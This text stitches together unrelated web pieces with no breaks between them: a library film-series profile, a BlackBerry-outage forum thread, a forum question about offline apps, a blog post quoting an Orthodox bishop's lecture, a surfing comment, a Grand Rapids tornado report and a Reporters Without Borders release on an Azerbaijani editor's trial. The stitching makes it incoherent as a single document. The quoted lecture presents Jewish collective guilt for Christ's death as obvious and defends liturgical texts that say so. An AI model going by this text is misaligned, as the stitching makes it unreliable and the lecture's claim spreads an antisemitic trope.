DeLauro started screening films in the early '80s, "on the rooftop of a Fifth Avenue artists' colony." In 1984, he walked into the library, proposed running a film series, and got the go-ahead from PR officer Lois Hyman. Over time, he developed relationships with community groups, political organizations, and various film festivals, so that now he finds himself premiering PBS-bound POV films like Tintin and I, hosting director Grace Lee for a screening of The Grace Lee Project, and welcoming scholars to discuss films like Crips and Bloods: Made in America. And thanks to a screening license, he can show films from most of the major studios, as well as "smaller labels like Lionsgate and FirstLook."
The hair on every head among the first arrivals is gray; some of it is more kempt than others. A carefully assembled couple take their seats near the front; the gentleman in front of me is less put together — white French cuffs jutting from the sleeves of his blazer, an incongruous web belt around his waist. "How do you like the movie so far?" he calls to a friend across the aisle, though of course, the movie hasn't started yet. "I thought I'd add a little humor," he adds, "because you might as well be happy."

Letters to RIM - What are your thoughts on the BlackBerry Outage?
- We've just made it through the longest BlackBerry outage in RIM's history. Some are mad and frustrated, others made it through with business as normal. I'm sure many of you have plenty you'd like to say to RIM -- be it to express your frustrations or to back them up in support. Well we want to hear your thoughts! Whatever you have to say, use this forum to write your own letter to RIM. Tell them how angry you are, how frustrated you've been, or show them your support and let them know you're still BlackBerry through and through. If we get some good ones, we'll post them up in the blogs or even try to get them over to the right people at RIM. So let's hear what you have to say!
[warn]Please post only one letter. Lets try to keep this thread clean and organized, so please, no discussion, trolling or flame wars.[/warn]10-13-11 01:44 PM
- On the whole, I think RIM has done a good job at getting their system up and running within a reasonable period of time. If you think of the volume of messaging that goes on worldwide then it is staggering how much data their servers process on a daily basis.
I did listen to a portion of the press conference this morning and I think the 2nd or 3rd question involved reparations for service outages. Are you kidding me? People need to take a serious step back and listen to what they are saying. When there is a power outage and you lose your electricity, no one asks for reparations, you are just darn happy to have your lights back on.
I have used a BB for many years starting with a 7105t and I have always considered my BB as a convenience for checking emails for business, not a necessity. Yes it is inconvenient when you can't check your emails from anywhere but I am willing to bet that most BB users have other resources available for messaging.
Granted, RIM stumbled but they have not fallen. I am sticking by BB as they are still providing a good product to customers as well as delivering data in a more economical way than their competition.10-13-11 02:06 PM
- My $0.02 Zimbabwe dollars.
Had there been an option to access social networks, BBM et al. bypassing BIS and therefore DataSmart and BlackBerry Push Service, there would certainly be a bit less frustration aboard. Email I can understand, for that truly is bound to the servers, but applications such as Facebook and Twitter do not necessarily need BIS. Neither does BBM if you factor in that governments can ask for (and have been granted) access to eavesdrop BBM traffic, making it no more secure than any other IM solution. Apple's iMessage is a similar service yet requires no special, commercial service such as BIS.
I think, personally, it is time for RIM to open up a bit and allow for more functionality when BIS is not at hand. Even a so-called 'featurephone' can do more than a BlackBerry without BIS. But hey, I'm not blaming anyone since I live in a country with no BlackBerry service at all. (I live in the home of Santa Claus, Finland.) Makes you actually wonder whether the BlackBerry ecosystem would grow bigger if BlackBerry smartphones weren't dependent on BIS...

- The only things that were down seemed to be BBM and E-mail, which there are ways around (texting, webmail, etc), I was able to surf the internet all day on my BB as needed as well as use twitter and FB apps intermittently (seemed to work over wi-fi as well).
I dunno, this is the ultimate luxury and they worked to make calls still, so I don't care, I can't see myself ever owning another phone just to avoid getting frustrated once every 18 months rather than getting frustrated hourly by other phone companies.
Keep doing what you're doing RIM, your phones are perfect for the target demographic, I don't need a 6Ghz processor to send emails, BBM, text and make calls and I'm not watching video on it so why kill my battery and charge an arm and a leg for it?
Kinda all over the place here, but thank god my BB is back up and running!10-13-11 02:21 PM
- Dear RIM,
I have been using your devices exclusively since 2006, right after I graduated high school. No, my first BlackBerry wasn't something that was given to me for work or that I was forced to use. I was getting tired of the Sidekick3, and the BlackBerry Pearl at the T-Mobile stores always caught my eye whenever I'd go inside. So one day, I went for it.
I started with a Pearl, moved onto an 8800, an 8820, a titanium grey 8320, a gold 8320, a Curve 8900, a Bold 9000, a Bold 9700, a white 9780, a black 9780, got the PlayBook because I wanted it so badly, and then got the Bold 9900 on launch day. I have taken my BlackBerry everywhere I go. I captured videos at Versailles in France on my 8900, turned the WiFi on for free web browsing in French cafes, emailed people as simply as texting, and even bit the bullet a couple times and made some expensive calls back home to my friends in L.A. In France I saw countless BlackBerrys. Everyone had Bold 9000s, the selection of accessories in Orange stores were vast, I even picked up a 3pack of silicone skins for my 8900 at the Orange store on Champs Elysees, a well-known street in France with many high end, flagship stores.
In the two years since I have been to France, I have seen my BBM list shrink from about 70 contacts, to 35 now, as many of my friends have switched to Android or iPhones. My mom and sister were both Verizon customers, but since I begin paying my own phone bill at 15 years old, I have found that T-Mobile is the most affordable and offers the phones I like. My sister switched to T-Mobile and got the white 9780, and my mom ditched the venerable RAZR and picked up a black 9780 as well.
I have been a BlackBerry customer and honestly, an addict to BlackBerry phones and news for the last 5 years. I laughed when the iPhone got copy and paste capabilities. I laughed harder when they allowed the text message tone to be changed. I laughed again when I read about iMessage, and then had another good laugh when I read that the "BBM killer" that is iMessage, ONLY works in WiFi. I can't touch an Android phone without accidentally hitting the Google Search key, interrupting whatever it was that I was doing on the phone. I can't stand the LED embedded INTO the speaker. And in all honesty, I think all Android phones look identical. Long story short, I love BlackBerry the way it is now, I know we have the QNX changes coming, and my PlayBook has been warming me up to the change that I know is imminent, and that I know will propel RIM's share prices up, and BlackBerrys back into the hands of the people that may have traded them in for a phone with a kickstand or a singe Home button.
Having said all this, the outage over the last couple of days was annoying to say the least, but it's kind of like someone's favorite athlete. They might not be having the best season this year, they might have a couple consecutive really bad games (games that bring email and BBM to a screeching halt...), but at the end of the bad games, I'm still wearing the BlackBerry jersey, with my BlackBerry hat, and will get into my car with the BlackBerry stickers and maybe an obnoxious BlackBerry flag or two flying out each window.
Let's just try and keep the bad games to a minimum, so we can huddle and rally and beat the the other teams that we know that we are so much better than.

- The three day crisis of a BIS outage was nothing compared to in July when I faced a complete service meltdown on the o2 network but then again that wasn't RIM's fault at all. Anyways I've been a fan of Nokia phones mainly but I've gotta admit no matter what problems RIM face and no matter how many outages there are, I will always be a Blackberry user! Never going back to other phones as my Blackberry 9900 gives me all the planning power I need on the go

- If it was that easy to manage and maintain a carrier class global network, we would all do it. Unlike some, I can appreciate the intricacies and the engineering marvels behind the BB magic.
Thanks RIM!
PS- iClouds burst too, its only a matter of time.

- While I didn't notice anything wrong with my service. I will personally be staying with BlackBerry for a long time. They have a strong reputation for security and data efficiency.
With our demand for the security and data efficiency, there are problems that we will run into that are inherent to using various services. To obtain the efficient data and security everything goes through RIM servers and if there is a problem with a server, things will go down.
I heard on the radio recently the DJs talking about the BlackBerry issue and one jabbed the other saying "don't you wish you didn't get a BlackBerry." Also saying that maybe he should have got an iPhone or an android phone. But as iCloud and other "clouds" become more common, possibly even required, Android and iPhone could run into similar disruptions.
So, saying I won't buy a BlackBerry because of it won't hold.

Turning a website into an app
Hi Guys,
I'm looking for some general help turning a website into a mobile app.
Here's what I want -
I want to create a webpage which is basically a timetable.
This timetable will have hyperlinks to other pages.
The other pages will have links back to the timetable.
This part I am fine with.
I then want to turn these webpages into a downloadable app which can be installed and viewed on mobile phones without the need to be connected to the Internet.
That is the part I have no idea how to go about. Any help would be greatfully received, thanks.

You will need to go into a little more detail to get any decent help. A timetable of what? And if the device isn't linked to the internet then hyperlinks aren't going to get you much unless they are links to anchors on other pages that are also part of the app. But I am sure people are going to meed greater detail to be of much help in this.

Sorry for not including much detail in the original post, I was trying to be as brief as possible.
The Timetable I will create will be a school timetable, this will be created within a table in html, 5 rows for the days of the week and 6 columns for the different periods. Each cell will contain a piece of text with the particular class at that time. The text will link to another page with a wee bit more information about that class - teacher name, room etc. and a link back to the timetable.
I am fine with creating this.
What I want to know is if I can turn this set of webpages (including links) into a downloadable app which someone could download and instal onto their mobile phone/ipod. They could then access it without having to be connected to the Internet.
I am guessing the web pages would need to be converted to run on the different platforms - apple/android/windows.
Hope this is clearer

This is being posted on Rorate not in order to reopen the wars on the change of the 1962 prayer for the Jews, but to cast greater light on the very real theological issues involved in that change.
From Hilarion of Vienna's lecture:
"Another divorce which needs to be mentioned is that between theology and liturgy. For an Orthodox theologian, liturgical texts are not simply the works of outstanding theologians and poets, but also the fruits of the prayerful experience of those who have attained sanctity and theosis. The theological authority of liturgical texts is, in my opinion, higher than that of the works of the Fathers of the Church, for not everything in the works of the latter is of equal theological value and not everything has been accepted by the fullness of the Church. Liturgical texts, on the contrary, have been accepted by the whole Church as a 'rule of faith' (kanon pisteos), for they have been read and sung everywhere in Orthodox churches over many centuries..."
"...The lex credendi grows out of the lex orandi, and dogmas are considered divinely revealed because they are born in the life of prayer and revealed to the Church through its divine services. Thus, if there are divergences in the understanding of a dogma between a certain theological authority and liturgical texts, I would be inclined to give preference to the latter. And if a textbook of dogmatic theology contains views different from those found in liturgical texts, it is the textbook, not the liturgical texts, that need correction."
"Even more inadmissible, from my point of view, is the correction of liturgical texts in line with contemporary norms. Relatively recently the Roman Catholic Church decided to remove the so-called 'antisemitic' texts from the service of Holy Friday. Several members of the Orthodox Church have begun to propagate the idea of revising Orthodox services in order to bring them closer to contemporary standards of political correctness. For example, the late Archpriest Serge Hackel from England, an active participant in the Jewish-Christian dialogue, proposed the removal of all texts from the Holy Week services that speak of the guilt of the Jews in the death of Christ (cf. his article 'How Western Theology after Auschwitz Corresponds to the Consciousness and Services of the Russian Orthodox Church,' in Theology after Auschwitz and its Relation to Theology after the Gulag: Consequences and Conclusions, Saint-Petersburg, 1999, in Russian). He also maintains that only a 'superficial and selective' reading of the New Testament brings the reader to the conclusion that the Jews crucified Christ. In reality, he argues, it was Pontius Pilate and the Roman administration who are chiefly responsible for Jesus' condemnation and crucifixion."
"This is just one of innumerable examples of how a distortion of the lex credendi inevitably leads to 'corrections' in the lex orandi, and vice versa. This is not only a question of revising liturgical tradition, but also a re-examination of Christian history and doctrine. The main theme of all four Gospels is the conflict between Christ and the Jews, who in the end demanded the death penalty for Jesus. There was no conflict between Christ and the Roman administration, the latter being involved only because the Jews did not have the right to carry out a death penalty. It seems that all of this is so obvious that it does not need any explanation. This is exactly how the ancient Church understood the Gospel story, and this is the understanding that is reflected in liturgical texts. However, contemporary rules of 'political correctness' demand another interpretation in order to bring not only the Church's services, but also the Christian faith itself in line with modern trends."

Yeah Im fololowing it!, just like any other ASP tour event, but with more interest because its in the Atlantic. We scored a bit of Katia / low swell yesterday in VB, so to ride the same swell down here as the boys are up there is pretty sick. I hope tomorrow morning or later this evening we will see some overhead sets roll in for VB and NY, Asher Nolan dropped in on a shoulder high wave about an hour ago so hopefully we will see some more solid surf.
If you have an Iphone download the ASPtogo app and watch the contest on your phone all day if you dont have internet access to the site (my work blocks live feeds so I am watching on my phone)

GRAND RAPIDS (WZZM) -- Meteorologists from the National Weather Service addressed the media late Monday afternoon following Sunday night's EF-1 tornado touchdown in Kent County.
Many residents are wondering why there was no warning or even a watch issued with this storm.
The twister, rated a high-end EF1, had winds of 100-110 miles per hour when it struck at 10:20 p.m. near 64th Street and Burlingame Ave. SW. It was on the ground for 10 minutes and 6.25 miles and was 900-1,200 feet at its widest, according to the NWS. It lifted around 10:30 p.m. near the area of Breton Road and 28th Street SE.
RELATED: EF-1 tornado touchdown confirmed in Kent County
National Weather Service meteorologists say they couldn't detect the twister because it was hidden and rain-wrapped. Meteorologist Daniel Cobb says the tornado also developed behind the radar screen.
He added the twister was also unusual because it was a spin-up tornado, meaning instead of descending towards the ground, like the large funnels you see in the Great Plains, this one started on the ground.
"The time the radar detects the velocity of this one, it's on the ground. It developed right at the base of the ground, and then grew upward, the opposite way it's supposed to happen," he said.
Cobb says the worst damage was from the U.S. 131 and M-6 interchange to 44th Street and Kalamazoo, then it started to weaken. The worst damage was trees snapped in different directions, trees blown into garage doors,and carports ripped off.
Cobb says if this tornado arrived during the day, spotters would have had a better chance of seeing it form.
The last EF-1 to hit Grand Rapids was in 2001. The last tornado was a EF-0 in 2006, at a Caledonia golf course, Cobb said.

Reporters Without Borders is shocked to learn that a prosecutor has called for a five-year jail sentence for Ganimat Zahidov, the editor of one of the leading opposition dailies, Azadlig, on a charge of "aggravated hooliganism" under article 127.2.3 of the criminal code. Zahidov's trial began in Baku on 8 January.
"We do not understand the severity of the requested sentence, or that a two-year sentence has also been requested for Zahidov's main accuser," the press freedom organisation said. "All this reinforces our conviction that Zahidov is paying dearly for his Azadlig articles critical of the government and that the authorities are manipulating a suspicious incident."
Reporters Without Borders added: "We have the impression that this case is driven more by a desire for revenge than justice. Zahidov's younger brother Sakit, who works for the same newspaper, was sentenced in October 2006 to three years in prison for drug possession at the end of a trial in which the prosecution failed to demonstrate that he possessed drugs."
The suspicious incident that led to Ganimat Zahidov's arrest took place on 7 November. He was going up the steps leading into the building where the "Azerbaijan" publishing house is located when a young woman on the steps (subsequently identified as Sevgilade Guliyeva Azim Gizi, a person with a previous conviction for theft ) began to shout and accuse him of insulting her.
At this point, a man subsequently identified as Vusal Hasanov grabbed Zahidov by the jacket and shouted: "Who are you to bother his girl?" Zahidov tried to push him away and the two men began to fight. When bystanders began siding with Zahidov, Hasanov and the young woman extricated themselves and left in a taxi together.
Zahidov told Reporters Without Borders about the incident on the day it happened. He said he regarded it as deliberate provocation in retaliation for his articles accusing President Ilham Aliev's wife of corruption or for articles about highway code violations by the president's relatives.
He was summoned by the police on 10 November and placed in preventive custody the next day. He has been held ever since.
